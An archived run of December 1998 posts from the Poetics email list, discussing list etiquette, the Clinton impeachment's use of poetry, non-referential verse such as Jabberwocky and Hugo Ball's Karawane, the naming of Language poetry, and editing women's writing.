In a message dated 12/11/98 11:23:15 PM Eastern Standard Time, [redacted] writes:

<< There *is* something pleasant about reading your own posts I have to admit, it's a little like enjoying the smell of your fingers. Then, too, there is the way that this venue seems to encourage a degree of exhibitionism. It's not that the people who post very frequently aren't often interesting, but when a small minority of subscribers is continually determining the tone of the List the same things are always being said. *Here's a suggestion*: why must subscribers receive their own posts back from Poetics? Perhaps someone could provide a convincing justification for this, but from my point of view, it's not at all

necessary & deprived of that "pleasure" I think a lot of the problem with over-frequent posting to the List would abate. -- Anyway, looking forward to seeing this in my mailbox in a few minutes. >>

no, Jacques, no! if we didn't receive our own posts then I'm afraid (very, very) that would cause the list to implode. I think that the satisfaction of getting your own post back IN A FEW MINUTES helps compensate for the weeks or months of waiting to hear back from editors. with the list we can create a baby and see it born instantly- Guaranteed! (well, given recent history, almost guaranteed). in the welcome message we are urged to consider the list a form of PUBLICATION more than communication. not only that but we are ARCHIVED! Whew! heady stuff. I considered sending this backchannel, but...

Mr. Randy Edward Prunty I

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456. Marcella Durand
urban space
Sat 12 Dec 1998

Brian, Charles, et al

thanks for reading suggestions--the quote from "delirious new york" has me, well, delirious. I thought Henri Lefevbre wrote on insects--my family has some lovely old books by him with intricate drawings? Am I thinking of other? What books did he write on urban/space/cities?

I will definitely look up Making Worlds--after reading the feminist issue on space/architecture by yet unnamed journal(too many little pieces of paper about, too many scribbles) in friend's house, had me hungry for more.

best-
M

↑ Index

457. miekal and
The cat in the hat omnibus
Sat 12 Dec 1998

---

my post called Word Express Mention still hasnt come thru to my computer tho others have responded to it, so at least some people have seen it.

would be nice to clear this up, tho it does produce some facinating aleatoric results

m

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458. Joe Amato/Kass Fleisher
report to the committee...
Sat 12 Dec 1998

---

i've just emerged from a long, often frustrating week of posting folks backchannel re the recent (and apparently ongoing) list controversy... please, don't *any* of you feel you're being singled-out here... if you've heard from me backchannel, *any of you*, it's probably fair to say that you can multiply whatever you've heard from me by 10 or 20 anyway, and that this gives some idea of the amount of backchannel conversation i've been having... perhaps you've been in the same boat as me... whatever the case, i will risk, again, a bit of overweening sincerity in trying to convey what i've learned...

i think it's fair to say that, as these backchannel conversations have proceeded (and in some cases, escalated), my thinking and writing has at times been tortured, gnarled (as i will no doubt give evidence of *here*)... i suppose this is b/c i've been at some pains in trying to present something like the whole *me*---which, in my view, impinges upon my full(er) understanding and articulation of the more conflicted aspects of the recent ruckus... i.e., mixed feelings and motivations i might have, why i might have them, how my more personal relationships with some of you influence my judgment, trying to account for my relationships, trying to be objective *and* considerate---an apologia at times, at other times simply a (self-)confrontation... i've been told, by some, that they are in complete accord with what i'm saying... i've been told, by others, that we remain worlds apart, and that in fact my motivations as a mediator (if you will) have been murky, impure, compromised in ways that i seem unable or unwilling to grasp...

in addition to some troubled sleep patterns, i've emerged from the last week, all told, with the same conclusion about these spaces that i came to some six years ago: that it would be wrong to take what is said here, on the list (or even in one-on-one communique)---however well-intended, however mean-spirited, however apparently moderate---as the truth, the whole truth, and nothing but the truth...

((and yes---i mean to imply that this all, for me, resonates with the ongoing judicial "hearings," which have rapidly devolved imho into an attempt to railroad clinton out of office, as some of you have suggested... a reality, imnsho, far more pressing than what goes on on this list))...

the reason why i observe (allege?) that the truth (as above) is not to be had quickly, or completely, or without reservation: we are more than the sum total of our words, and esp., our words in these regions... i don't believe for a

moment that one can obtain some unmediated, disembodied truth, and i certainly don't believe one can obtain same simply by virtue of *this* sort of exchange... if i *did* believe this, kass and i might have decided upon marriage online, so to speak... albeit there turned out, in our case, to have been much truth exchanged in our months of courting (as it were) online---in addition, i should say, to certain miscues (i am potentially much mouthier and obnoxious f2f, as any who know me well can bear witness to)---there was additional truth to be gotten from spending time with each other... and of course there has been more truth exchanged since we began living together, a process that will (i hope!) continue as time passes...

to me it is in fact the assumption of something remaining to be understood that provides me with a tentative, provisional, but nonetheless necessary grasp of something called "truth"---and leads me, i would like to think, to some operating conception of what is just, and fair... as, i would trust (but which may not be the case), such an assumption might lead each of you...

i find as a result of my transactions, then, that it's necessary not to leap to judgment, that it's necessary to try to give everyone the benefit of the doubt... were we dealing with what appeared, more clearly, more certainly, to be (e.g.) neo-nazi behavior, i might not advocate such care, such thoughtfulness...

((and here again: one of the problems with the recent impeachment hearings, imnsho, is that the republicans, in treating the current articles of impeachment as having the same gravity as the watergate articles, are insidiously citing watergate-inspired words in justifying their actions))...

((well even here, you can see how one can get oneself into all sorts of trouble---i would seem to be aligning those who are against me (against charles, to cut to the quick) with the republicans... i.e., with conservative, right-wing thinking (apologies to you republicans out there)... nothing could be further from what i intend---and in any case, and as i've said to some of you backchannel, the left has always proved itself expert at tearing itself apart... nevertheless there is, i think, a certain positive and instructive correlation here with the flawed logic of the republicans---which of course is a politically *motivated* logic, in their case... though not so in the case of those who consider themselves, sadly, my ethical "adversaries" in the recent poetics brouhaha... clearly i believe the impeachment hearings crucial enough to risk confusing with the controversies of this list... just as clearly, i believe it to be a great mistake to assign to anyone *here* a strictly insidious intention, such as "censorship," thence to argue strictly on the basis of such an assignation---which is what, i respectfully submit, i believe my most adversarial "adversaries" have done... and of course they believe me in this regard to be part & parcel of the general 'corruption,' ETC.))...

let me not lose my own point in the muddle of this post: i think listening, and listening generously, brings certain rewards over time... i am not calling for more "moderate" (adj.) posts---we can rock & roll, sure, of course... self-moderation, as i understand it, simply means that, whatever one is about, one listens (to oneself, among others) in contributing to whatever this list is, and is in the state of becoming... how else can one envision this list actually working as such?... i must admit to being at somewhat of a loss if what i'm saying here seems idiosyncratic in its appeal to putting a bit of (a bit of) faith in our capacity for creating a vital communal (and certainly not homogeneous) gathering, one predicated on goodwill...

anyway, i hope what i've said here makes some small amount of sense, and will prove modestly useful as we continue together, and apart, in such uncertain times...

best,

joe

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459. L. MacMahon and T.R. Healy

Re: urban space

Sat 12 Dec 1998

> *From: Marcella Durand <[redacted]>*
> *I thought Henri Lefevbre wrote on insects--my family has some lovely old books by him with intricate drawings? Am I thinking of other? What books did he write on urban/space/cities?*

Perhaps you are thinking of J. H. Fabre, author of "The Life of the Fly", and discoverer of larval dimorphism. He and his family, having joined the first and last member of a line of processionary moth caterpillars, took it in shifts once to observe them marching round and round the edge of a barrel for an entire day until the circle broke up in exhaustion.

Randolph Healy

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460. R.Gancie/C.Parcelli

Re: Lyn Hejinian

Sat 12 Dec 1998

"They used to be the leaders of the avant garde, but now they just want to be understood, and so farewell to them."---Lyn Hejinian -- ÐÏ à¡± á

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461. **Emily Lloyd**
new address, & Lyn
Sat 12 Dec 1998

>>"They used to be the leaders of the avant garde, but now they just want to be understood, and so farewell to them."---Lyn Hejinian<<

Right. And "as for we who 'love to be astonished,'" Lyn's a language poet.

My e-address changed today, so I may have missed some backchannels (Joel kindly fwded me the missed frontchs). They were all out of lukewarmmail, so here's where I'm at. Thanks. em

_____
Get Your Private, Free Email at http://www.hotmail.com

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462. **Tom Orange**
origins of Langpo as term
Sat 12 Dec 1998

---

jacques debrot asks of dipalma's involvement in the naming of L=A=...

i understand that charles bernstein bounced the name Language (no equal signs) off of steve mccaffery, and steve suggested "Pegatext(e)" as an alternative.

assuming that aldon nielsen and ron silliman are both correct -- that the equal signs served both to distinguish this project from the linguistics journal and to emphasize the differential nature of the saussurean signifier -- one wonders what would have been the comportment of a burgeoning (so-called, or even post-) "P=E=G=A=T=E=X=T=(E) poetry"!

t.
[redacted]

---------- There are no straight lines, neither in things nor in language. Syntax is the set of necessary detours that are created in each case to reveal the life in things. -- Gilles Deleuze ----------

↑ Index

463. **Tom Orange**
poetics of impeachment
Sat 12 Dec 1998

---

interesting the way that poetry gets mobilized in the endgame of this whole thing: shippers quotes longfellow, clinton receives poetry from an old dear friend -- can anyone identify the lines from clinton's statement yesterday: "the moving finger writes and having writ moves on..."? (the rest of the quote actually resonates somewhat with our thread on erasing)

also that berman (d-ca) would, in his opening statement, refer to the president's efforts to "deconstruct" words: continues to amaze me how that term has migrated from the highly specialized discourse of continental philosophy, through an (american) academic elite, and into our common parlance to mean simply "render ambiguous"...

t.
[redacted]

---------- There are no straight lines, neither in things nor in language. Syntax is the set of necessary detours that are created in each case to reveal the life in things. -- Gilles Deleuze ----------

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464. **Steven Shoemaker**
Re: poetics of impeachment
Sat 12 Dec 1998

Tom--Clinton's quote yesterday comes from the Edward Fitzgerald's Rubaiyat, and I too thought about in relation to our erasure thread, although the emphasis in this case is really on the *impossibility* of erasure: with the passage of time itself troped as a kind of writing. Here's the passage in full:

The Moving Finger writes: and, having writ,
Moves on: nor all thy Piety nor Wit
  Shall lure it back to cancel half a Line,
Nor all thy Tears wash out a Word of it.

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465. **Maria Damon**
Re: poetics of impeachment
Sat 12 Dec 1998

---

that's from the rubayat of omar khayyam.

At 1:45 PM -0500 12/12/98, Tom Orange wrote:
>interesting the way that poetry gets mobilized in the endgame of this
>whole thing: shippers quotes longfellow, clinton receives poetry from an
>old dear friend -- can anyone identify the lines from clinton's statement
>yesterday: "the moving finger writes and having writ moves on..."? (the
>rest of the quote actually resonates somewhat with our thread on erasing)
>
>also that berman (d-ca) would, in his opening statement, refer to the
>president's efforts to "deconstruct" words: continues to amaze me how
>that term has migrated from the highly specialized discourse of
>continental philosophy, through an (american) academic elite, and into
>our common parlance to mean simply "render ambiguous"...
>
>t.
>[redacted]
>
>----------
>There are no straight lines, neither in things nor in language. Syntax is
>the set of necessary detours that are created in each case to reveal the
>life in things. -- Gilles Deleuze
>----------

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466. **Eliza McGrand**
Re: poetics of impeachment
Sat 12 Dec 1998

---

do you suppose the bill bought ms. monica a copy of rubyat as well? you know, leave sof grass is just not the same to me now. has acquired a slightly hackneyed feel, like the proverbial convenience store single-red-rose of the (seemingly extinct these days) date.

how odd. poetry used to be written to court, has become one of those trite truisms, but one seldom if ever sees it employed to such purpose these days (or not where i hang out). on one hand, one hopes (ever solicitous of sales opportunities) that the bill's gift choice might spark a fad, but on the other, begin regurgitating hairballs at the thought of all those kalil ghibran and rod mckuen books changing hands...

if you were going to court a beloved, what poetry book would you buy him/her?

my vote for today: if i was flush for money and time, might get oxford complete richard hart lovelace. or june jordan's _haruko_, or new hoa nguyen or e. treadwell or dodie bellamy or judy roitman book just so i could 1) get a look at them

myself; 2) support fellow listafarians; 3) get points for being at least imaginative!

e

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467. **Louis Cabri**
a phillytalks thot
Sat 12 Dec 1998

Here's a tiny incomplete ill written thought on the subject of the materiality of format and on dialogue, using PhillyTalks 8.

> *Of interest to me over the course of the newsletters has been how each poet-pair "dialogues"; it reflects, in a way, "deeper" aspects of each poet's work and - to use a dated Olsonian word - "stance." Bruce Andrews takes the occasion of contributing to # 8 to reread all of Rod Smith's work, and to write a "reading" of it (a strategy Bruce has used in many responses to other poets). As those will know who have read Bruce's piece in the newsletter, Bruce takes lines from all of Rod's poetry and orders them anew as sentences, then adds bracketed metacommentary in between some of the sentences. The sentences are organized into prose chunks that Bruce then supplies his own titles to. The titles match-up with familiar categories in Bruce's poetics: representation, nonrepresentation, mediation, praxis, and so on. Bruce's "dialogue" with Rod's work, then, is formal, in the sense that "Rod Smith" is wholly "read" through a grid of Bruce's poetics -- it is "dialogue with Rod," on Bruce's terms. The terms are, in fact, the fifteen terms of Bruce's latest writing project, "the millenium project," which he read from the other night, terms which stem from his "Tips for Totalizers" essay in _Paradise & Method_, an essay that was formulated, he says, during the writing of _Lip Service_ (unpublished). Bruce calls his piece on Rod, "Aerializing."*
>
> *He mailed it to Rod (Bruce does not use email).*
>
> *So, Rod had to respond to Bruce. Rod's response to Bruce and contribution to the newsletter is poetry, and a piece called "introduction" to Bruce Andrews's writings. Rod could have read Bruce through a grid of Rod's poetics, if Rod's poetics were in some sense structural like that. But that Rod reads Bruce already occurs by default, formally, in Rod's poetry. The lead poem by Rod, in the newsletter, a funny poem, "Taboo gratitude," is marked "for Bruce." Especially when Rod read his work the other night here in Philly, I could hear an Andrews-like organizing of minimal units of maximally-differentiated sound (which is not as apparent on the page, since Rod uses spacing and linebreaks, which emphasize single words and phrases, whereas Bruce's prose fuses sounds in a more apparent way due to the words' proximal syntactic relations).*

> *What Rod somewhat thematizes, as an additional component to "dialogue" understood as formal influence, is gratitude (in his lead poem's title, and in the very idea of an essay as "introduction"). Rod presents an affect, that he addresses to Bruce, but also problematizes, as in some sense a "taboo" affect. Is this gratitude as much directed to Bruce as to what Bruce represents when he theorizes poetry through his theoretical grids? Is there some nostalgic return, in the title, "Taboo gratitude," to a memory of theory's role in poetry, for Rod--as in his book title, _In Memory of My Theories_? Affect in Rod's poetry generally is perhaps in some sense a reflexive realization of a _fall_ out of "theory" and into something that has no name as such, but is full of affect. In this his poetic affect is not simply a return to the New York School. The extremes in Bruce - of linguistic "mess" (a good word Rod uses in his intro) and ideational structure - find a middle ground, in some non-middle-road sense, in Rod's work.*
>
> *So, I think one could extend from their sense of dialogue, a sense which results from material constraints on their practices (that Bruce does not have email, that Bruce mails a completed piece to Rod, partly becuase he does not have email, which makes correspondence easier, etc) to think about their work in general. One little point. Formally, how can one *not* feel at least in a minour but systemic way, other than flattered, if one were Rod, and received one of Bruce's essays incorporating all of one's work (the "Aerializing" essay)? Almost as if Bruce's version of "dialogue" admits, affectively, one type of response: gratitude. But flattery is not necessarily a productive poetic affect to write from, and is in a way taboo for practicioners, and especially to Bruce's practice as he writes about it by means of his grids.*

Anyway. Something like that.

I'm very grateful that noone has felt outraged to have never received the Phillytalks newsletter, or to have received it only sporadically. Not only is PT a moderated forum, small as it is; it is also "censured," and thwarted, and edited, daily, and in the very love-labor of its production, by such factors as costs of mailing and distribution, reproduction of the page as material surface of inscription, curation, editing, proofing, etc. And in none of these aspects is it unique.

louis

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468. **Tom Orange**
labels and referentiality
Sat 12 Dec 1998

anselm writes of how a formal description (altho arguably "abstract" suggests to me something of content as well) of french verse is / can be applied, largely exclusively, to current american poetics, and further suggests that this is done as something of a convenient labelling of (or "coralling") such work, "that much of what qualifies these days as poetic discourse is overly dictated by the freedom to assign labels to people, poems, forms, etc.", and that such labels are ultimately pretty meaningless.

i agree with these sentiments and suggest an approach to labelling as an heuristic, as a way of furthering investigation within a milieu or frame of reference -- a frame which should, in the last instance (and with apologies for the heideggerian-derridianism), be held under erasure.

as i suggested earlier, i take "abstract french lyric" to refer to the work of albiach, royet-journoud, et al. but who is meant when this is applied to current american work? i certainly don't have an exhaustive list, but for me, i can take, as example, two to whom this label might apply: gale nelson, claire needell.

how might this label apply to these two writers? well, there's a sparseness to their work, a kind of evacuation, an "abstraction" from (pulling away from, removal from), for lack of a better term, poetic reference. "shall we avoid analogy?", the french dictum asks, and the practical answer leaves the barest of referents both semantically *and* visually on the page.

now why apply this label, aside from the obvious answer that it seems an appropriate albeit very general level of descriptive poetics. well for me, it's an heuristic, it gets me going in a direction, it situates the writing within a milieu, so if someone were to ask me what the work of gale nelson or claire needell is like, i might be able to give her some sense of how i read them by referring to an "abstract lyric like that of albiach or royet-journoud."

however, beyond the general descriptive level, there is also a more material level at which this milieu can be seen to work. nelson and needell are both published by burning deck, which publishes english translations of much "abstract french lyric poetry" and is owned and operated by the waldrops who themselves translate much of this work for other presses like awede, post-apollo, etc.

now obviously delimiting such a milieu can only get us so far: nelson and needell do work that can't be contained within these descriptive and material levels; burning deck publishes work that similarly cannot be contained. i could further complicate things by adding another writer to the two already mentioned, namely barbara guest, whom i think, from fair realism to defensive

rapture and finally quill solitary apparition, moves progressively into a more evacuated poetics -- reinforced materially by the fact that while the first of the two above-mentioned books are from sun and moon, the third is from post-apollo (albiach's most recent english publisher); and perhaps undermined materially by the bulk of guest's prior work in the manner of the "new york school".

the danger in labels, i think, comes when they are used less for heuristic purposes and more for value judgments. i think the "abstract french lyric" tag, applied to current american work, can be and is used (as anselm suggests) in a belittling or pejorative sense.

now in another context, mark prejsnar writes:

> most of the stuff i see coming out, if it fails to have sufficient focus on a "theme" or "subject", that seems to have as much to do with poor or unrealized writing, as with any intent to be abstract or nonreferential...

let me say i admit the gist of what mark is saying here: there is a real danger to simply taking up uncritically what albiach or any other writer does. i dont agree that "un-poor" or "realized" writing must demonstrate a "sufficient focus" on theme or subject. but this is a whole other matter.

my problem is this: i can delimit a milieu of abstract french lyric tendancies in current american poetics, one which i think can be resonably and objectively challenged, and which can only get you so far until you start dealing in specifics; but i wonder how to delimit "poor or unrealized writing"... whether it's "abstract" and "french" or, to take mark's example, jeff clark.

and i mean this as a sincere question -- my jury, like mark's i think, is still out on clark's book. and tho i like mark's description of why the clark book does not work for him, i don't wish to take up that book again cuz i posted on it some months ago and have not revisited it since. i'd rather work it from this abstract french lyric angle, and pose the question this way:

how does one decide when a current american abstract french lyric is "successful" and when it is not, when it is simply abstract or nonreferential for abstraction's and nonreferentiality's sakes?

(i'll hint at my initial answer: i don't think we have sufficiently developed criteria for this yet beyond the "gut level"...)

(the same question applies, for me, to so-called post-language poetries as well, provided you pick terms other than "abstract" and "nonreferential" for your scope...)

thanks and bests,
t.
[redacted]

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469. **Dale Smith**
The cat in the hat
Sat 12 Dec 1998

There is some weird tech glitch in the Listserv system because my original post of the Hat review was sent by me to the List on Dec 4, only to reach the List on Dec 12? In the interim, I rewrote the post and sent it on the 7th. That one didn't go public until the 10th. Another post on the same subject went immediately from my machine to the list on the 9th. Hopefully this will explain some of the repetition.

Joel, I am surprised two male editors produced an issue of women's writing. Aren't you? I don't see that every day. And what prompted the reviews I wrote was the writing within, which is exciting, and provides a rich contrast to the recent Moving Borders Anthology, which to me is limited in its presentation of women's writing. (How do you determine value, by the way, in a poem? How do you navigate (moderate?) your editorial decisions?)

In addition to using your "receptical theory of editing" (which I value because of the strange, long-shots that arrive out of nowhere), we solicit a good amount of work. And even when we solicit work from women we rarely receive as much as we had hoped. Although I don't share your egalitarian heart, I'm hip enough to read the conflicting and contradictory motivations and struggles for and against participation in a scene that desires experiemental art for political and social transformation. On one hand, sheer numbers strengthen the political movements, but at the loss of qualitative production. That quality, like value, varies for all of us, I think. And how our values (aesthetic and/or politic) are exchanged on the poetic market reveals the limits of our toleration. What Marjorie Perloff brought up some weeks ago is key to this. One can be tolerant of cultural struggles and intolerant of aesthetic practices that are used by some members of cultural groups to whom one is sympathetic.

Anyhow, this concerns represenations of the social, which I am interested in because, as an editor, these conflicts proliferate around me. Poetry has much wider concerns and its reality is limited by discourse in social environments.

Dale

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470. **dan raphael**
Re: Baratier's Silliman question - Post-Lanpo
Sat 12 Dec 1998

At Bowling Green State, either fall of 74 or winter of 75, i took a class taught by ray dipalma that covered works by andrews, coolidge, silliman, & dipalma. dont remember what the name of the course was, but the term 'language poetry' definitely came up in that class.

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471. **Dale Smith**
Addendum to the Cat's Hat
Sat 12 Dec 1998

Joel, I didn't mean to suggest that you or anyone else is packing pages of journals, chapbooks, books etc just for the sake of diversity, as if no selection, or qualitative decisions were being made. I think aesthetic decisions are being made all the time, decisions that are shaped by the dominant voices of the "avant-garde." What is your selection/solicitation process? How do you manage experimental product while living up to your own self-generated demands of art & cultural/political transformation?

For me the issues consist of: aesthetics--is this a poetics you respect; quality--how does an individual piece, even if it represents an aesthetic position you identify with, stand up to your own singular demands, and if it doesn't, what validates its inclusion in your journal; human diversity--does my journal reflect a range of human variety; impact--how will these pieces stand up in the cultural market, what will they represent of my process and spirit. More importantly, to what level, if any, have I produced a work of active dissent focused many places at once. I'm not interested in a journal's reception so much as its circulation of thought and emotion. Part of this is an active process. I am seeking all the time. The process is also passive; work falls out of the aether to challenge and confront my own good opinions.

I get confused when discussing the way certain groups are represented, because it's not my position to represent, but to reveal, in any way, the very complex diversity of human composition through the agency of poetic expression. I am dedicated to women's writing, but I don't make it my crusade; it's not a banner by which I wish to gain acceptence or approval from anyone.

I wrote:
>On one hand, sheer numbers strengthen the political movements, but at
>the loss of qualitative production. That quality, like value, varies

>for all of us, I think. And how our values (aesthetic and/or politic)
>are exchanged on the poetic market reveals the limits of our
>toleration.

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472. **Mark DuCharme**

Re: Academy of the Future

Sat 12 Dec 1998

I'm a little behind in catching up with the Poetics List, & this may already have been responded to, but the "academy of the future" line is from the title poem in _Rivers & Mountains_. I'm pretty sure that "feminine, marvelous & tough" is not from any FOH poem; the line appears in _The Sonnets_ by Ted Berrigan, & may appear in other poems by Berrigan as well.

Mark DuCharme

>Could someone let me know what poem the line "The Academy of the Future
is
>Opening its Doors" is from -- an Ashbery poem, I know, but which one?
And
>if you know for sure that the line "feminine, marvellous, and tough" is
>"originally" from F. O'Hara, could you let me know which O'Hara poem it
>is? Please backchannel responses to <[redacted]>. Much
appreciated.
>

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473. **Karen Kelley**

Re: poetics of impeachment

Sat 12 Dec 1998

> *if you were going to court a beloved, what poetry book would you buy him/her?*

Michael Palmer's _Sun_
Leslie Scalapino's _Considering How Exaggerated Music Can Be_
Ronald Johnson's _Ark_

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474. **George Thompson**

non-referential poems for your consideration

Sat 12 Dec 1998

I'm sorry, I don't remember who it was, but someone earlier expressed doubt about the possibility of non-referential poems, or something like that [I have been deleting faster than Gabe Gudding shoots from the hip, I mean lip, lately, so I cannot recall the particular thread].

Would anyone claim that the following stanza from Lewis Carroll is 'referential'?

Twas brillig and the slithy toves
Did gyre and gimble in the wabe
All mimsy were the borogoves
And the mome raths outgrabe.

[this is from memory; hope I got it right].

OR, from Hugo Ball [not from memory]:

KARAWANE
jolifanto bambla o^ falli bambla
grossiga m'pfa habla horem
e'giga goramen
higo blioko russula huju
hollaka hollala
anlogo bung
blago bung
BlAGO BUNG
bosso fataka
ue ueue ue
schampa wulla wussa o'lobo
hej tatta go^rem
eschige zunbadq
wulubu ssubudu uluw ssubudu
tumba ba- umf
kusagauma
ba - umf

I think that there is *a lot* of non-referential poetry out there. I also think that there is a lot of non-referantial non-poetic discourse out there as well.

For example, when I slip on a banana peel and fall painfully on my ass, and as a result shout out "FUCK" in indignant anger, the utterance, it seems to me, is non-referential.

Am I wrong?

GT

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475. **Mark Weiss**
Re: non-referential poems for your consideration
Sat 12 Dec 1998

As to the Carroll, you got it right, and the reference--what he's sending up--is one of the genres derived by romantics from the Childe Ballads (La Belle Dame Sans Merci is an examole of an allied genre--all are a sort of folksy medievalism): the epic hero ballad. Apparent here in the metrics, and confirmed as such later in the poem. The Ball derives I think from subSaharan linguistic forms, but it speaks less to me. Years ago I heard Linda Parker read her "non-referential" poems and was profoundly moved. They seemed to me to be at the edge of having explicit content, although there were no recognizable words. Either my reaction was physiologically conditioned--that certain sound combinations produce certain reactions--or there was a referentiality in the sounds themselves. It would be interesting to tease out the referentiality if that's what it was, but I haven't done so.

At 08:01 PM 12/12/98 -0500, you wrote:
>I'm sorry, I don't remember who it was, but someone earlier expressed doubt
>about the possibility of non-referential poems, or something like that [I
>have been deleting faster than Gabe Gudding shoots from the hip, I mean
>lip, lately, so I cannot recall the particular thread].
>
>Would anyone claim that the following stanza from Lewis Carroll is
>'referential'?
>
>Twas brillig and the slithy toves
>Did gyre and gimble in the wabe
>All mimsy were the borogoves
>And the mome raths outgrabe.
>
>[this is from memory; hope I got it right].
>
>OR, from Hugo Ball [not from memory]:
>
>KARAWANE
>jolifanto bambla o^ falli bambla
>grossiga m'pfa habla horem

>e'giga goramen
>higo blioko russula huju
>hollaka hollala
>anlogo bung
>blago bung
>BlAGO BUNG
>bosso fataka
>ue ueue ue
>schampa wulla wussa o'lobo
>hej tatta go^rem
>eschige zunbadq
>wulubu ssubudu uluw ssubudu
>tumba ba- umf
>kusagauma
>ba - umf
>
>I think that there is *a lot* of non-referential poetry out there. I also
>think that there is a lot of non-referantial non-poetic discourse out there
>as well.
>
>For example, when I slip on a banana peel and fall painfully on my ass, and
>as a result shout out "FUCK" in indignant anger, the utterance, it seems to
>me, is non-referential.
>
>Am I wrong?
>
>GT
>
>

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476. **Randy Prunty**
Re: poetics of impeachment
Sat 12 Dec 1998

<< if you were going to court a beloved, what poetry book would you buy
> him/her? >>

Trimmings, Harryette Mullen

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477. **schuchat**
Re: poetics of impeachment
Sat 12 Dec 1998

> *<< if you were going to court a beloved, what poetry book would you buy him/her? >>*

O'Hara, LOVE POEMS (TENTATIVE TITLE)

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478. **Leonard Brink**
Re: non-referential poems for your consideration
Sat 12 Dec 1998

> *Would anyone claim that the following stanza from Lewis Carroll is 'referential'?*
>
> *Twas brillig and the slithy toves*
> *Did gyre and gimble in the wabe*
> *All mimsy were the borogoves*
> *And the mome raths outgrabe.*

Well, for starters, "brillig" refers to a time of day (approximately 4 pm) and "slithy toves" refers to toves that are both slippery and lithe.

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479. **A. Jenn Sondheim**
Re: poetics of impeachment
Sun 13 Dec 1998

> *<< if you were going to court a beloved, what poetry book would you buy him/her? >>*

Creeley For Love
Di Prima, Dinners and Nightmares

↑ Index

480. **Kathy Lou Schultz**
Re: The Hat
Sun 13 Dec 1998

I find this to be an interesting, yet odd problem. At Lipstick Eleven, we receive numerous submissions from women. But don't forget, you can always solicit

work if you're having problems with "representation" in your mix of writers. Publish women and more women will follow. Kathy Lou

Dale Smith wrote:
>
> I read Jordan Davis and Chris Edgar's first issue of The Hat this
> morning, which I like for its focus and consistency of tone and
> 'spirit.' Two male editors publishing a first issue with only women is
> quite notable and the results are not what I expected. (Hoa came into
> my room last night with a stack in one hand of poetry submissions from
> men and in the other ONLY one piece from a woman). So, I understand
> building an issue of women's writing is no easy task. To find a
> grouping of work that corresponds or echoes internally is difficult
> enough. Restricting that to a particular, traditionally
> under-represented gender, is moreso.
>
>

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481. **George Bowering**
Re: poetics of impeachment
Sun 13 Dec 1998

> *<< if you were going to court a beloved, what poetry book would you buy him/her? >>*
>
> *Trimmings, Harryette Mullen*

A Gentle Northern Winter by George Stanley

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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482. **Jim Bennett**
Re: poetics of impeachment
Sun 13 Dec 1998

-----Original Message-----

>> << if you were going to court a beloved, what poetry book would you
>> buy him/her? >>
>
Obsession - Ramsey Campbell

Men are from Mars etc..

Drums At New Brighton (1999) - Jim Bennett (well I would)

Jim

Click on this link to vote for my site. http://conline.net/vote.mv?id=1780

Click on this link to visit my site.
http://www.geocities.com/Athens/Academy/1127/

"Poetry is what the future makes of it." John Garner

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483. **George Thompson**
Re: non-referential poems for your consideration
Sun 13 Dec 1998

> *Would anyone claim that the following stanza from Lewis Carroll is 'referential'?*
>
> *Twas brillig and the slithy toves*
> *Did gyre and gimble in the wabe*
> *All mimsy were the borogoves*
> *And the mome raths outgrabe.*
>
> *Well, for starters, "brillig" refers to a time of day (approximately 4 pm) and "slithy toves" refers to toves that are both slippery and lithe.*

I don't think so. 'Brillig' in fact is simply filling certain slots [metrical, syntactic, narrative, etc.] in a linguistic structure, a machine, or if you want a poem.

Maybe those of us who have a vague sense of the history of the language can detect a Germanic suffix in the sequence '-ig' at the end of 'brillig'. With that in mind, as well as the phonic association with 'brilliant' and maybe even memories of Old French, we still wouldn't know that this is a word in English except for its position after 'twas'. The point, I think, is that we could put ANYTHING in this slot, and as long as it satisfies all the relevant metrical, syntactic, and narrative requirements, it would WORK. That is, it would mean "a time of day (approximately 4 pm)", or something similar.

The same applies to 'slithy' and 'tove' and in fact to all of the other so-called reference words in the poem.

Speak of erasure. Carroll has erased all reference here, leaving only the function words that have value only within a given linguistic system. We recognize the '-s' at the end of 'toves' as a plural marker. It is a very familiar morpheme in English, of course. But it has no reference to anything outside of the universe of the English language. Neither does 'twas'.

As Mark Weiss suggests, it WOULD be interesting to tease out the so-called referentiality here, if that is that it is.

GT

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484. **Randy Prunty**
Re: non-referential poems for your consideration
Sun 13 Dec 1998

<< >Would anyone claim that the following stanza from Lewis Carroll is
>>'referential'?
>>
>>Twas brillig and the slithy toves
>>Did gyre and gimble in the wabe
>>All mimsy were the borogoves
>>And the mome raths outgrabe.

Leonard Brink writes: >Well, for starters, "brillig" refers to a time of day (approximately 4
>pm) and "slithy toves" refers to toves that are both slippery and lithe.

George Thompson writes:
>> I don't think so. 'Brillig' in fact is simply filling certain slots
[metrical, syntactic, narrative, etc.] in a linguistic structure, a
machine, or if you want a poem. ....Speak of erasure. Carroll has erased all reference here, leaving only the
function words that have value only within a given linguistic system. We recognize the '-s' at the end of 'toves' as a plural marker. It is a very familiar morpheme in English, of course. But it has no reference to anything outside of the universe of the English language. Neither does 'twas'.<<

It seems that more than nouns and adjectives are referential. "did" refers to a sense of curiousity or a statement that something has happened. "all" refers to inclusivity. "were" refers to the past. and so on. so it seems to me that this poem still is referential even if the lexical words are as George says. And maybe the question should be REFERENTIAL FOR WHOM? If Leonard says that

"brillig" refers to 4pm for him, then I guess it does, though it apparently does not for George.

Randy

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485. **charles alexander**
Re: poetics of impeachment
Sun 13 Dec 1998

At 12:48 AM 12/13/98 -0500, you wrote:
>> << if you were going to court a beloved, what poetry book would you
>> buy him/her? >>

Phyllis Webb, Naked Poems
Robert Duncan, The Opening of the Field

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486. **Fredrik Hertzberg LIT**
Re: non-referential poems for your consideration
Sun 13 Dec 1998

On Sun, 13 Dec 1998, George Thompson wrote:

> *Speak of erasure. Carroll has erased all reference here, leaving only the function words that have value only within a given linguistic system. We recognize the '-s' at the end of 'toves' as a plural marker. It is a very familiar morpheme in English, of course. But it has no reference to anything outside of the universe of the English language. Neither does 'twas'.*

Tove is my wife's name. A fairly common Scandinavian female name. Slippery, someone said?

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487. **Rachel Levitsky**
Re: Jennifer on Republicans
Sun 13 Dec 1998

This is great Alan. Have you seen Star Trek "Insurrection?" The bad guys are stretching their skin trying to stay young and every time they become enraged over not getting their way, blood spurts out of tears in their forehead.

A. Jenn Sondheim wrote:
>
> =

>
> why i'm dead meat, by jennifer
>
> Republicans ooze from their heads what is left of soul's rubbish
> i could not stand to be in a room with one of them
> they are objects for me, they reek of flesh gone sour
> i would be a lichen to their rock, corroding their violent granite
> they would kill everyone with guns and they are all white men
> every last one of them, no matter what drear affirmation
